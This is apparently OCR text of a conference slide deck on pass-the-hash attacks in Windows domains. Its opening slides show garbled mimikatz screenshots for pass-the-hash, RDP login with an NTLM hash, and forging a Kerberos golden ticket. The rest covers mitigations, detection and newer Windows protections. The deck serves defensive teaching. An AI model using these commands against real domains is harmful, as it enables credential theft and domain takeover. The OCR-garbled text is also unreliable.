Administrator

mimikatz 2.0 alpha x64 (oe.eo)
Jdomain:adatum.com /ntlm:8c2+83+739967680445Fb643

dudllhb?c 5d9ct3Paf3f6cfi8530dle20e8
S5cad

0:0027b112)
6CB84955
.......... 6CB84C0248

E@

3fec5cad /




PTH Firefox

Authentication Reguired

) Enter username and [22-3'5'5'#'-.-'IZIII'I':| for |'I:i[:ii-"-" ntranet

User Name: alice.jones@demo.local|

sword: 0 0:DDF5EB5351C272CB8CCAEAEQOLISF14E3A [+] Show password

X Cance & 0K

Home - Mightly

Bookmarks

*vp’;ﬁ 27

Welcome DEMO\alice.jones < | My Site |




RDP NTLM Authentication

fd:winZ012 /fpth:8846F7eaeeBfbll7adicbddB30b7586c /v:192.168.2

FreeRDP: 192.168.2.102

Administrator, Command Prompt

icrosoft Windows [UVersion 6.3.96001]
(c» 2013 Microsoft Corporation. All rights reserved.

sUWindowsssystem3d2>ipconfig

Jindows IP Configuration

Ethernet adapter Ethernet@:

Connection—specific DNS Suffix . =
Link-local IPu6 Address . . . . . = feB@:-:d49c:5946:-4338:-6420:x12
IPuv4 Address. . . - & = - = - - . = 1922.168.2.182
Subnet Mask . . . . . . . . . . . = 2585 _2G8G_255.8
Default Gateway . . . . . . . . . = 192.168.2.77

unnel adapter isatap.{46FB858CH-F72F-4D?B-BD48-A472CA1B4819%:

Media State . . . Media disconnected

Cunnectiun—speciiié ﬁHé éuffix- -

sUWindowsssystemd2 >




Kerberos Golden and Silver Tickets

Bl mimikatz 2.0 alpha =64 (oe.ea) ||| (3|

mimikatz # kerberos::igolden Adomain:ds.securityscaper.com ssid:5—-1-5-21-37744422 N
73-3276862197-1122686173 /rc4: IS /s o hovo /id:99
79 Agroups:=513.512 sticket:-hevo.krh

: hevo
ds .zecurityscaper.com
5-1-5-21-3794442273-3278862197-11226861"73
9999

=513 H12
I —— — rc4_hmac_nt
11182014 5:48:56 PM ; 11-15%-2824 5:48:56 PM ; 11-15-2824 5:48:56 P

: bevo.krh

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrhCred generated

Final Ticket Sawved to file 1t

mimikatz # kerheros::ptt bevo.krh
B — File "hevo.krh’ : OK

mimikatz # kerbheros::list

[BEREAPNA] — BxBBABEd17? — »cd_hmac_nt

Start/End-MaxRenew: 11-18-2814 5:48:5%6 PM ; 11-15-2824 5:48:56 PM ; 11-15-282
4 L:48:56 PM

Server Mame ! krbtgtsds.zecurityscaper.com @ ds.szecurityscaper.com

Client MWame : hevo @ ds.szecurityscaper.com

Flagsz 4de@@dd@a : pre_authent ; initial ; renewahle ; forwardahle ;
mimikat= #




Proactive Measures

= Disable NTLM Authentication

= Disable Kerberos RC4-HMAC

= Shorten Kerberos ticket lifetime

* Implement Smartcard Authentication



Strengthening Kerberos Security

kember OF I Chal-in I E nwironment | Seszionz

Remote control | Remote Desktop Services Prafile I COk +

General | Address | Account | Profile I Telephones | Crganization

I zer logon name:

| Steve | | (A datum. com W |

IJzer logon name [prewindows 2000);
|ADATUMY | [Steve

| Logon Hours... || Log On To... |

[ ] Unlack account

Account options:

[ ] Use Kerberos DES encipption types for this account

[ This account supparts Kerberos AES 128 bit encryption.
[ This account supports Kerberos AES 256 bit encryption.
[] Do not require Kerberos preauthentication

Arccount expines
) Mewver
() End of; Sunday |, December 28, 2014

Security Policy Setting | Explain |

3 Metwork, zecunty: Configure encrpphion twpes allowed for Kerberos

[] Define theze policy settings
DES_CBC_CRC

DES_CEC_MD5
RC4_HMAC_MD5
AES128_HMAC_SHAT
AES25E_HMAC_SHAT

Cancel | | Apply | |




Kerberos Ticket Lifetime

File Action View Help

e nm X= @m

4 & Computer Configuration
4 [ Policies

b ] Software Settings

4 [ Windows Settings

b 1] Name Resclution Policy | |

= Seripts (Startup/Shutdowr
4 G Security Settings
4 - Account Policies
b a3 Password Policy
b 23 Account Lockout F

e

Policy

+s] Enforce user logon restrictions

Policy Setting




SmartCard Authentication

Member Cf I Dialdn I Environment I Sessions

Remote control | Remote Desktop Services Profile | COM+

General I Address | Accourt | Profile I Telephones I Organization

User logon name:
| | | @ Adatum.com

User logon name (pre-Windows 2000):
|ADATUM | |Brad

[ Logon Hous.. | [ LogonTo.. |

[] Unlock accourt

Account options:

|| Accourt is disabled

[ Smart card is required for interactive logon

[ | Accourt is sensitive and cannot be delegated

[ Use Kerberos DES encryption types for this account

Account expires

(®) Never

() End of: Thursday ., October 8 2015




PtH Mitigation Strategies



Planning for compromise

= |dentify all high-value assets
= Protect against known and unknown threats
= Detect PtH and related attacks
= Respond to suspicious activity
= Recover from a breach

o



NIST Framework for Improving
Critical Infrastructure Cybersecurity

ﬂ £an
Executive Level
e Focus: Organizational Risk

Actions: Risk Decision and Priorities
Changes in \ D Process tﬁ? M Rk Aot

Current and Level and Risk Appetite
Future Risk . . and Budget
Focus: Critical Infrastructure Risk
‘ Management
Actions: Selects Profile, Allocates
Budget \
—
—
|
=
Implementation '
Progress Framework
Changes in Assets, Profile

Vulnerability and £y Implementation/
Threat L o { Operations
7 Level

Focus: Securing Critical Infrastructure
Actions: Implements Profile



NIST Framework for Improving

Critical Infrastructure Cybersecurity
Categories Subcategories Informative References

IDENTIFY

PROTECT

RESPOND

o
RECOVER




High-Value Accounts

= Admins
— Domain Adminis
— Enterprise Admin
— Schema Adminis
— BUILTIN\Administrators
— BUILTIN\Hyper-V Adminstrators

= Service Accounts
— SCCM, SCOM, DPM, Software Installation,...

= BMC Accounts



Tier Model




Tier Model - Administrative logon restrictions




Authentication Poli

Restrict Access for Admins

General | General

Tx
Accounts . S ' :
An authentication policy silo controls which accounts are to be protected by the silo and
Policy defines the authentication paolicies to be applied to members of the sila.

Display name:
Description:

Restrict Access for Admi

Protect from accidental deletion

Permitted Accounts

Mame

AdminQ4
Administrator
Hansz Worst

Jos Haarbos

Authentication Policy

®) Use a single policy for all principals that belong to this authentication policy silo.

| More Information

Account Type

Computar
Uzer
Uzer

User

Cl
] |

TASKS ¥ | | SECTIONS v

) Only audit silo policies

®) Enforce silo policies

Assigned

Add...

Remowve

n

=

-

~

es and Silos

User DX (~
Specify a Ticket Granting Ticket lifetime for user accounts.
Ticket Granting Ticket Lifetime (minutes): = | 600

Specify access control conditions that restrict devices that can request a Ticket Granting Ticket for the user accounts
assigned to this policy.

Mote: NTLM authentication cannot be restricked by access control conditions. Users should be memebers of the
Protected Users group, which does not allow NTLM.

Click Edit to define the conditions.

Member of any(((W8-CONTOSOW15-WBT\WWS_CONTOSOW1$)]) Edit...

Click Edit to define the conditions.

All Resources Edit...

Other user

Your account is configured to prevent you from
using this PC. Please try another PC.




PtH Detection



Attack Graph

ATT

GET CREDEMTIALS

Malicious tactics such as social engineening
and phishing schemes ane used to trick
personned and obrtin cedertials for
netwark access. Miast organiztions do
not remgnize when attaders are already
within the netsork and have acoess to
information such as emaiks, confidential
documerts and ather inteliectual property:

g

i

GET DATA

The attack doesn't stop there. Attackers
look for the next set of credentiaks

with elevated permissions 1D acoess
servers Once slevated credentiak are
obtained and servers ane compromised,
organzatiors nsk iosing revenue, brand
repartation, and business contiraty.

The uitimate goal of the attackers may be:
o gain acoess bo the domain controliers,
the central ciearing hub for all medentals
and identities. Once compromised, an




Events

= Authentication
— Success
— Fallure

= Replication Traffic
= Group Membership Changes



Audit Process Creation

Eile  Action View Help

o= | HE = HE

Local Computer Palicy
i Computer Configuration
& [ Software Settings
4 || Windows Settings
i | ] Name Resolution Policy
l=l| Scripts (Startup/Shutdown)
[- = Deployed Printers
4 i Security Settings
b [4 Account Policies
» 4 Local Policies
b [ Windows Firewall with Advanced Security
] Metwork List Manager Policies
b || Public Key Policies
b [ ] Software Restriction Policies
b || Application Control Policies
= @ IP Security Policies on Local Computer
4 || Advanced Audit Policy Configuration
4 ﬂ.ﬂ Systern Audit Policies - Local Group Pelicy Obje
[ g}i Account Legon

I+ g}i Account Management
I+ g}i Detailed Tracking

e - .

Subcategory

| Audit DPAPI Activity
Audit Process Creation

% Audit Process Termination
5| Audit RPC Events

Audit Events
Mot Configured
Success

Mot Configured
Mot Configured




Audit Process Creation

File Action View Help

e 5= BHEl T

Local Computer Pelicy
i Computer Configuration
b [ Software Settings
b [ Windows Settings
4 || Administrative Templates
= || Control Panel
b 7] Network
| Printers
] Server
| Start Menu and Taskbar
4 || System
| Access-Denied Assistance
| Audit Process Creation
| Credentials Delegation

Setting

i) Include command line in process creation events

L4

State
Mot configured

Bxtended }g\Standard f




Audit Process Creation

i General | Detai|s|

A new process has been created.

Subject:

Security [D: MIMIAMichael
Account Mame: Michael
Account Domain: M)A

Legon ID: OxSDVET

Process Information:
Mew Process ID: Oxa2d
Mew Process Name: ChA\Windows\System32\gpupdate.exe
Token Elevation Type: TokenElevationTypelimited (3)
Creator Process [D: 0x1033
Process Command Line:  "CA\Windows\systern32\gpupdate.exe” /force

Log Mame: Security

Source: Microsoft Windows security  Logged: 5/18/2015 165503
Event I 4688 Task Category: Process Creaticn
Level: Information Keywords: Audit Success
User MSA Computer: Minja

OpCode: Info

Maore Information:  Event Log Online Help




Reactive Measures

= Change account passwords (including services!)

Reset computer account passwords
Disable+Enable smartcard-enforced accounts
Reset KRBTGT account

Implement countermeasures



Windows 10 + Windows Server 2016



Hypervisor Code Integrity protected by VSM

Apps

2 s 2

= .Y = g =

= = o =

(O — > @

o L —_— =

v\ g o —

35 = =3¢

S< > T3
Virtual Secure Mode (VSM) Windows

Hypervisor

Hardware



Device Guard

a (=] X |
E=] Tum On Virtualization Based Security Previous Setting
[ O Not Configured Comment: l
. (® Enabled
Supported on: | At least Windows 10 Server, Windows 10 or Windows 10 RT
Options: Help:
Select Platform Security Level: Specifies whether Virtualization Based Security is enabled. A
[
Secure Boot v Virtualization Based Security uses the Windows Hypenvisor to
‘ provide support for secunity services. Virtualization Based {
el Enable Virtualization Based Protection of Code Security requires Secure Boot, and can optionally be enabled
Integrity with the use of DMA Protections. DMA protections require

[T] Enable Credential Guard

hardware support and will only be enabled on correctly
configured devices.

Virtualization Based Protection of Code Integrity

This setting enables virtualization based protection of Kernel
Mode Code Integrity. When this is enabled kernel mode memory
protections are enforced and the Code Integrity validation path is
protected by the virtualization based security feature.

Waming: All drivers on the system must be compatible with this
feature or the system may crash. Ensure that this policy setting is
only deployed to computers which are known to be compatible.

Credential Guard v

OK | Cancel Apply




Privileged Access Management for A

HRAdmins is identified as a privileged group,
used by applications such as a database that
checks the user's Kerberos ticket for
membership in that group.Jen and other
members in the Corp forest are removed, and
a shadow principal, with no members, is
created in the bastion forest.

Jen and other members are removed from dmi
that group, and a shadow principal group, Al il
with no members, is created in the bastion

forest. Corp\HRAdmins HR
When Jen needs to administer the database, <D 1013 Databasze
she requests privileged access by using the

MIM elevation web portal (or by using

Windows PowerShell).

additional authorization requirements such as -

Multi-Factor Authentication (MFA). . . .
Multi-Factor Authentication (MFA) Corp\HRAdmins  Corp\Jen Bastiom\HRAdmnins
Based on MIM policies, the request is <D 1013 <D 1012

approved or denied. Activities are logged in
-+ B 22
- o -

Event Viewer. Alerts and reports can be
generated.

Corp\len MFA MM Bastion\HRAdmins Bastion\Jen
Policy SID 1013

PAM trust >

admin

The request processing workflow can include

If approved, the separate administrator
account for Jen is added to the
shadowprincipal group in the bastion forest.
Because the shadow principal group refers to
the same 51D of the group in an existing Conp
forest, Jen can administer the database as she
had originally. But membership in the shadow
principal group is time-bound.

The remaining time-to-live (TTL) in the group
is propagated to the Kerberos ticket-granting
ticket (TGT) of the administrator user acoount. - Event

After that time expires, the TGT can no longer Auditing Alerts . Reports
be used, and & new reguest is required.




Microsoft Passport (FIDO) + Windows Hello

Account created, Identity validated

Create, trust the unigue key

User unlocks Authenticate by validating singed request

with PIM or Bio |ldentity Providers (IDPs)

Active Directory
Azure Active Directory
Microsoft Account

Other IDPs
Intranet % %

Tokens from IDP IDP provides
authentication token

User

Resource

Windows 10



Endanced AD FS / DRA GUI

§ File Action View Window Help NEE
|
7] ADFS Relying Party Trusts Actions
. e Display Name Enabled | Type | ldertiic) 1S ing s s
[ Attribute Stores . .
ST VPN Server No WS5-T...  ummicy Add Relving Party T
[ Authentication Methods Userinfo Yes WST ummic elying Party Trust..,

[ Certificate Authority
[ Certificates

[ 7] Claim Descriptions
[ ] Device Registration (@] Refresh
[ ] Endpeints H Hep
[ ] Scope Descriptions

(5 Web Application Proxy [EEEE

g Access Contrel Policies Update from Federation Metadata...
Relying Party Trusts

[ Claims Provider Trusts
[7] Clients Edit Claim Issuance Policy...

Disable

View >

Mew Window from Here

Edit Access Contral Policy..

Properties

x Delete
E Help




Next Steps



Learn more about PtH Attacks

o' Barbarians Insidethe Gz X = =+

o
M |T| CJ aT| r_‘] (:J % O I Search or enter web address m * ‘ = Z Q

ss-the-Hash
and Other
Credential Theft, Events | Microsoft Ignite | Microsoft lgnite 2015
version 2

Barbarians Inside the Gates: Protecting against Credential Theft and
Pass the Hash Today

Date: May 07, 2015 5:00PM-6:15PM@ | Day 4 | E451b | BRK2334

ISpeakers: Aaron Margosis, Mark Simos

- 7,695 i i ‘ ike M
Trustworthy Computing o Uyl LERSETIONS @5 reddit | W Tweet/| 0| o]




Have fun with the tools

i mimikatz | Blog de Gent X + -

O
< O & = @A A ...

x

EX powershell Gallery | DSI X | + — %

mimikatz < O

PowerShell Gallery

mimikatz 2.0 vient de sortir en version alpha Register | Sign in

Home Get Started \ ules Publish Module Statistics

= binaires :

= SoUrces -
1
asenta ; E: DSInternals 2.4.0

DSInternals PowerShell Module

Pour les pressés cherchant des mots de passe... 4
Downloads Inspect

4

Downloads of v 2.4.0

PS> Save-Module -Name DSInternals -Path <path>

ter en administrateur

Install

2 0 1 5 - O 9 - O 5 P5> Install-Module -Name DSInternals
Last published

Deploy
ﬁ Deploy to Azure Automation

Project Site
Contact Owners
Report Abuse
How to Download
Meodule Statistics See Get Started for more details.

Domain

5ID P 3 21-] ' ] Release Notes
L Initial PSGallery release.

Owners

E MichaelGrafnetter




Secure your network




Pass-the-Hash Attacks

Michael Grafnetter
www.dsinternals.com



